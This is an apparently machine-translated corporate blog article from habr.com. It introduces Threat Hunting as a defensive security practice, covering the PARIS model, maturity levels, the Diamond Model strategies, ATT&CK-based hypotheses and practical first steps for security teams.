95% of information security threats are known, and you can protect yourself from them using traditional means such as antiviruses, firewalls, IDS, WAF. The remaining 5% of threats are unknown and the most dangerous. They constitute 70% of the risk for the company due to the fact that it is very difficult to detect them and even more so to protect against them. Examples are epidemics of WannaCry, NotPetya/ExPetr ransomware, cryptominers, Stuxnet βcyber weaponβ (that hit Iranβs nuclear facilities) and many (does anyone else remember Kido/Conficker?) other attacks that are not very well protected from classical means of protection. We want to talk about how to counter these 5% threats using Threat Hunting technology.
The continuous evolution of cyber attacks requires constant detection and countermeasures, which ultimately leads us to think of an endless arms race between attackers and defenders. Classical security systems are no longer able to provide an acceptable level of security, at which the level of risk does not affect the company's key indicators (economic, political, reputation) without their modification for a specific infrastructure, but in general they cover part of the risks. Already in the process of implementation and configuration, modern protection systems are in the role of catching up and must respond to the challenges of the new time.
Threat Hunting technology can be one of the answers to the challenges of our time for an information security specialist. The term Threat Hunting (hereinafter referred to as TH) appeared several years ago. The technology itself is quite interesting, but does not yet have any generally accepted standards and rules. Also complicating matters is the heterogeneity of sources of information and the small number of Russian-language sources of information on this topic. In this regard, we at LANIT-Integration decided to write a review of this technology.
Topicality
TH technology relies on infrastructure monitoring processes.. Alerting (by type of MSSP service) is a traditional method, searching for previously developed signatures and signs of attacks and responding to them. This scenario is successfully performed by traditional signature-based protection tools. Hunting (MDR type service) is a monitoring method that answers the question βWhere do the signatures and rules come from?β. It is the process of creating correlation rules by analyzing hidden or previously unknown indicators and signs of an attack. It is to this type of monitoring that Threat Hunting belongs.
It is only by combining both types of monitoring that we get close to ideal protection, but there is always some level of residual risk.
Protection using two types of monitoring
And here is why TH (and hunting in general!) will become more and more relevant:
Threats, means of protection, risks.
. These include spam, DDoS, viruses, rootkits, and other classic malware. You can protect yourself from these threats with the same classical means of protection.
During any project, and the remaining 20% ββof the work takes 80% of the time. Similarly, among the entire threat landscape, 5% of new types of threats will represent 70% of the risk to the company. In a company where information security management processes are organized, we can manage 30% of the risk of known threats in one way or another by avoiding (rejecting wireless networks in principle), accepting (implementing the necessary security measures) or shifting (for example, onto the shoulders of an integrator) this risk. Protect yourself from, APT attacks, phishing,, cyber-espionage and national operations, as well as from a large number of other attacks, is already much more difficult. The consequences of these 5% threats will be much more serious () than the consequences of spam or viruses that antivirus software saves from.
Almost everyone has to deal with 5% of threats. Recently, we had to install one open-source solution that uses an application from the PEAR (PHP Extension and Application Repository) repository. An attempt to install this application via pear install failed because was unavailable (now it already has a stub), I had to install it from GitHub. And just recently it turned out that PEAR became a victim.
You can still remember, the NePetya ransomware epidemic through the update module of the tax reporting software. Threats are becoming more and more sophisticated, and the logical question arises - βHow can you still counter these 5% threats?β
Definition of Threat Hunting
So, Threat Hunting is a process of proactive and iterative search and detection of advanced threats that cannot be detected by traditional means of protection. Advanced threats include, for example, attacks such as APT, attacks on 0-day vulnerabilities, Living off the Land, and so on.
It can also be paraphrased that TH is the process of testing hypotheses. This is a predominantly manual process with elements of automation, in which the analyst, relying on their knowledge and skills, sift through large amounts of information in search of signs of compromise that correspond to the initially defined hypothesis about the presence of a particular threat. A distinctive feature of it is the variety of sources of information.
It should be noted that Threat Hunting is not some kind of software or hardware product. These are not alerts that can be seen in some solution. This is not a process of looking for IOCs (Identifiers of Compromise). And this is not some kind of passive activity that goes on without the participation of information security analysts. Threat Hunting is first and foremost a process.
Components of Threat Hunting
Three main components of Threat Hunting: data, technology, people.
Data (what?), including Big Data. All sorts of traffic flows, information about past APTs, analytics, user activity data, network data, information from employees, information on the dark web and much more.
Technology (how?) processing this data - all possible ways of processing this data, including Machine Learning.
People (who?) - those who have extensive experience in analyzing various attacks, developed intuition and the ability to detect an attack. Usually these are information security analysts who must be able to generate hypotheses and find confirmation of them. They are the core of the process.
Model PARIS
Adam Bateman PARIS model for the ideal TH process. The name, as it were, hints at the famous landmark of France. This model can be viewed in two directions - from above and below.
In the process of hunting for threats, moving up the model, we will be dealing with a lot of evidence of malicious activity. Every piece of evidence has a measure called certainty, a characteristic that reflects the weight of that piece of evidence. There is "iron", direct evidence of malicious activity, according to which we can immediately reach the top of the pyramid and create an actual alert about a well-known infection. And there is indirect evidence, the sum of which can also lead us to the top of the pyramid. As always, there is much more indirect evidence than direct evidence, which means that they need to be sorted and analyzed, additional research should be carried out, and it is desirable to automate this.
PARIS model.
The upper part of the model (1 and 2) is based on automation technologies and a variety of analytics, and the lower part (3 and 4) is based on people with certain qualifications who manage the process. You can look at the model moving from top to bottom, where at the top of the blue color we have alerts from traditional protection tools (antivirus, EDR, firewall, signatures) with a high degree of confidence and trust, and below the indicators (IOC, URL, MD5 and others), which have a lower degree of certainty and require further study. And the lowest and thickest level (4) is the generation of hypotheses, the creation of new scenarios for the operation of traditional means of protection. This level is not limited to the indicated sources of hypotheses. The lower the level, the more requirements are placed on the qualification of an analyst.
It is very important that analysts do not just test a finite set of predefined hypotheses, but constantly work to generate new hypotheses and options for testing them.
TH Usage Maturity Model
In an ideal world, TH is a continuous process. But, since there is no ideal world, let's analyze and methods in terms of people, processes and technologies used. Consider the model of an ideal spherical TH. There are 5 levels of using this technology. Consider them on the example of the evolution of a single team of analysts.
maturity levels
People
Processes
Technologies
Level 0
SOC Analysts
24/7
Traditional Instruments:
Traditional
Alert set
Passive Monitoring
IDS, AV, Sandboxing,
Without TH
Working with alerts
signature analysis tools, Threat Intelligence data.
Level 1
SOC Analysts
One-time TH
EDR
Experimental
Basic knowledge of forensics
IOC Search
Partial coverage of data from network devices
Experiments with TH
Good knowledge of networks and applications
Partial application
Level 2
Temporary occupation
Sprints
EDR
Periodic
Intermediate knowledge of forensics
Week per month
Full application
Temporary TH
Excellent knowledge of networks and applications
Regular TH
Full automation of EDR data usage
Partial use of advanced EDR features
Level 3
Dedicated TH command
24/7
Partial ability to test TH hypotheses
Preventive
Excellent knowledge of forensics and malware
Preventive TH
Full use of advanced EDR features
Special cases TH
Excellent knowledge of the attacking side
Special cases TH
Full coverage of data from network devices
Custom configuration
Level 4
Dedicated TH command
24/7
Full ability to test TH hypotheses
Leading
Excellent knowledge of forensics and malware
Preventive TH
Level 3 plus:
TH usage
Excellent knowledge of the attacking side
Verification, automation and verification of TH hypotheses
tight integration of data sources;
Research Ability
development for the needs and non-standard use of the API.
TH maturity levels by people, processes and technologies
0 Level: traditional, without using TH. Ordinary analysts work with a standard set of alerts in passive monitoring mode using standard tools and technologies: IDS, AV, sandboxes, signature analysis tools.
1 Level: experimental, using TH. The same analysts with basic knowledge of forensics and good knowledge of networks and applications can carry out a one-time Threat Hunting by searching for indicators of compromise. EDRs are added to the tools with partial coverage of data from network devices. The tools are partially applied.
2 Level: periodic, temporary TH. The same analysts who have already upgraded their knowledge of forensics, networks and applied parts are required to regularly engage in (sprint) Threat Hunting, say, a week a month. The tools are complemented by full exploration of data from network devices, automation of data analysis from EDR, and partial use of advanced EDR capabilities.
3 Level: preventive, frequent cases of TH. Our analysts organized themselves into a dedicated team, began to have excellent knowledge of forensics and malware, as well as knowledge of the methods and tactics of the attacking side. The process is already running 24/7. The team is able to partially test TH hypotheses while fully utilizing the advanced capabilities of EDR with full coverage of data from network devices. Analysts are also able to configure the tools to suit their needs.
4 Level: high-end, the use of TH. The same team acquired the ability to research, the ability to generate and automate the process of testing hypotheses TH. Now, tools have been added with tight integration of data sources, software development for needs and non-standard use of APIs.
Threat Hunting Techniques
Basic Threat Hunting Techniques
Π The THs, in order of technology maturity, are: basic search, statistical analysis, visualization techniques, simple aggregations, machine learning, and Bayesian methods.
The simplest method, basic search, is used to narrow the field of study with the help of certain queries. Statistical analysis is used, for example, to build a typical user or network activity in the form of a statistical model. Visualization techniques are used to visually display and simplify the analysis of data in the form of graphs and charts, which make it much easier to catch patterns in the sample. The technique of simple aggregations by key fields is used to optimize search and analysis. The more mature the TH process reaches in an organization, the more relevant the use of machine learning algorithms becomes. They are also widely used in spam filtering, malicious traffic detection and fraud detection. A more advanced type of machine learning algorithms are Bayesian methods, which allow for classification, sample size reduction, and topic modeling.
Diamond Model and TH Strategies
Sergio Caltagiron, Andrew Pendegast and Christopher Betz in their work "β showed the main key components of any malicious activity and the basic connection between them.
Diamond model for malicious activity
According to this model, there are 4 Threat Hunting strategies, which are based on the corresponding key components.
1. Strategy focused on the victim. We assume that the victim has opponents, and they will deliver "opportunities" through email. We are looking for enemy data in the mail. Search for links, attachments, etc. We are looking for confirmation of this hypothesis for a certain period (a month, two weeks), if not found, then the hypothesis did not work.
2. Strategy focused on infrastructure. There are several ways to use this strategy. Depending on access and visibility, some are easier than others. For example, we monitor domain name servers known to host malicious domains. Or we have a process of tracking down all new domain name registrations for a known pattern being used by an adversary.
3. Opportunity-driven strategy. In addition to the victim-focused strategy used by most online defenders, there is a capability-focused strategy. It is the second most popular and focuses on detecting opportunities from the adversary, namely "malware" and the possibility of the adversary using legitimate tools such as psexec, powershell, certutil and others.
4. Strategy focused on the enemy. The adversary-centered approach focuses on the adversary itself. This includes the use of open information from publicly available sources (OSINT), the collection of data about the enemy, his techniques and methods (TTP), the analysis of previous incidents, Threat Intelligence data, etc.
Sources of information and hypotheses in TH
Some sources of information for Threat Hunting
There can be many sources of information. The ideal analyst should be able to extract information from everything that is around. Typical sources in almost any infrastructure will be data from security tools: DLP, SIEM, IDS / IPS, WAF / FW, EDR. Also, typical sources of information will be all kinds of indicators of compromise, Threat Intelligence services, CERT and OSINT data. Additionally, you can use information from the darknet (for example, suddenly there is an order to hack the mailbox of the head of the organization, or a candidate for the position of a network engineer was highlighted by his activity), information received from HR (reviews about the candidate from a previous job), information from the security service ( for example, the results of a counterparty check).
But before using all available sources, it is necessary to have at least one hypothesis.
In order to test hypotheses, they must first be put forward. And in order to put forward many qualitative hypotheses, it is necessary to apply a systematic approach. The process of generating hypotheses is described in more detail in, it is very convenient to take this scheme as the basis for the process of putting forward hypotheses.
The main source of hypotheses will be ATT&CK matrix (Adversarial Tactics, Techniques and Common Knowledge). It, in fact, is a knowledge base and a model for evaluating the behavior of attackers who implement their activities in the last steps of an attack, usually described using the Kill Chain concept. That is, at the stages after the intruder penetrates the internal network of the enterprise or a mobile device. Initially, the knowledge base included a description of 121 tactics and techniques used in the attack, each of which is described in detail in the Wiki format. A variety of Threat Intelligence analytics are well suited as a source for generating hypotheses. Of particular note are the results of infrastructure analysis and penetration tests - these are the most valuable data that iron hypotheses can give us due to the fact that they rely on a specific infrastructure with its specific shortcomings.
Hypothesis Testing Process
Sergey Soldatov brought with a detailed description of the process, it illustrates the TH hypothesis testing process in a single system. I will indicate the main stages with a brief description.
Stage 1: TI Farm
At this stage, it is necessary to select objects (by analyzing them together with all threat data) and labeling them with their characteristics. This is a file, URL, MD5, process, utility, event. Passing them through the Threat Intelligence systems, you need to put labels. That is, this site was seen in CNC in such and such a year, this MD5 was associated with such and such malware, this MD5 was downloaded from a site that distributed malware.
Stage 2: Cases
At the second stage, we look at the interaction between these objects and identify the relationships between all these objects. We get marked systems that do something bad.
Stage 3: Analyst
At the third stage, the case is transferred to an experienced analyst with extensive experience in analysis, and he makes a verdict. It parses to bytes what, where, how, why and why this code does. This body was malware, this computer was infected. Reveals relationships between objects, checks the results of running through the sandbox.
The results of the analyst's work are transmitted further. Digital Forensics examines the images, Malware Analysis examines the "bodies" found, and the Incident Response team can go to the site and examine something already there. The result of the work will be a confirmed hypothesis, an identified attack and ways to counter it.
Results
Threat Hunting is a fairly young technology that can effectively counter customized, new and non-standard threats, which has great prospects given the growth in the number of such threats and the complexity of corporate infrastructure. It requires three components - data, tools and analytics. The benefits of Threat Hunting are not limited to the prevention of threats. Do not forget that in the process of searching, we dive into our infrastructure and its weak points through the eyes of a security analyst and we can further strengthen these places.
The first steps that, in our opinion, need to be taken in order to start the TH process in our organization.
- Take care of the protection of endpoints and network infrastructure. Take care of visibility (NetFlow) and control (firewall, IDS, IPS, DLP) of all processes in your network. Know your network from the edge router to the very last host.
- To study.
- Conduct regular penetration testing of at least key external resources, analyze its results, identify the main targets for attack and close their vulnerabilities.
- Implement an open source Threat Intelligence system (for example, MISP, Yeti) and analyze logs together with it.
- Implement Incident Response Platform (IRP): R-Vision IRP, The Hive, sandbox for analyzing suspicious files (FortiSandbox, Cuckoo).
- Automate routine processes. Log analysis, creating incidents, informing staff is a huge field for automation.
- Learn how to effectively interact with engineers, developers, technical support to work together on incidents.
- Document the whole process, key points, results achieved in order to return to them later or share this data with colleagues;
- Keep the social side in mind: Be aware of what is happening with your employees, who you are hiring and who you give access to the information resources of the organization.
- Keep abreast of trends in the field of new threats and methods of protection, improve your level of technical literacy (including in the operation of IT services and subsystems), attend conferences and communicate with colleagues.
Ready to discuss the organization of the TH process in the comments.
Or come work with us!
Sources and materials for study
Source: habr.com